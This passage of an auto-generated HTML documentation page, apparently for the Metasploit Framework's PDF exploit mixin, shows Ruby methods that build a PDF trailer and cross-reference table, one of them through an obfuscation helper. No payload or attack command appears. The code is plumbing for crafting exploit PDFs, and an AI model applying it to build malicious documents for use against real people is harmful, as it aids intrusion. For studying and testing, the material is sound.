<span class='kw'>def</span> <span class='id identifier rubyid_trailer'>trailer</span><span class='lparen'>(</span><span class='id identifier rubyid_root_obj'>root_obj</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_ret'>ret</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>trailer</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Size %d/Root </span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='lparen'>(</span><span class='ivar'>@xref</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'>+</span> <span class='int'>1</span><span class='rparen'>)</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='id identifier rubyid_root_obj'>root_obj</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>>></span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_ret'>ret</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="xref_table-instance_method">
|
||||
|
||||
#<strong>xref_table</strong> ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
171
|
||||
172
|
||||
173
|
||||
174
|
||||
175
|
||||
176
|
||||
177
|
||||
178
|
||||
179
|
||||
180
|
||||
181
|
||||
182
|
||||
183
|
||||
184
|
||||
185
|
||||
186</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 171</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_xref_table'>xref_table</span>
|
||||
<span class='id identifier rubyid_id'>id</span> <span class='op'>=</span> <span class='ivar'>@xref</span><span class='period'>.</span><span class='id identifier rubyid_keys'>keys</span><span class='period'>.</span><span class='id identifier rubyid_max'>max</span><span class='op'>+</span><span class='int'>1</span>
|
||||
<span class='id identifier rubyid_ret'>ret</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>xref</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_ret'>ret</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>0 %d</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_id'>id</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_ret'>ret</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>0000000000 65535 f</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_ret'>ret</span> <span class='op'><<</span> <span class='lparen'>(</span><span class='int'>1</span><span class='op'>..</span><span class='ivar'>@xref</span><span class='period'>.</span><span class='id identifier rubyid_keys'>keys</span><span class='period'>.</span><span class='id identifier rubyid_max'>max</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_map'>map</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_index'>index</span><span class='op'>|</span>
|
||||
<span class='kw'>if</span> <span class='ivar'>@xref</span><span class='period'>.</span><span class='id identifier rubyid_has_key?'>has_key?</span><span class='lparen'>(</span><span class='id identifier rubyid_index'>index</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_offset'>offset</span> <span class='op'>=</span> <span class='ivar'>@xref</span><span class='lbracket'>[</span><span class='id identifier rubyid_index'>index</span><span class='rbracket'>]</span>
|
||||
<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%010d 00000 n</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_offset'>offset</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='kw'>else</span>
|
||||
<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>0000000000 00000 f</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='kw'>end</span>
|
||||
<span class='kw'>end</span><span class='period'>.</span><span class='id identifier rubyid_join'><span class='object_link'><a href="../../top-level-namespace.html#join-instance_method" title="#join (method)">join</a></span></span>
|
||||
|
||||
<span class='id identifier rubyid_ret'>ret</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<div id="footer">
|
||||
Generated on Fri May 8 17:01:03 2026 by
|
||||
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
|
||||
0.9.37 (ruby-3.1.5).
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user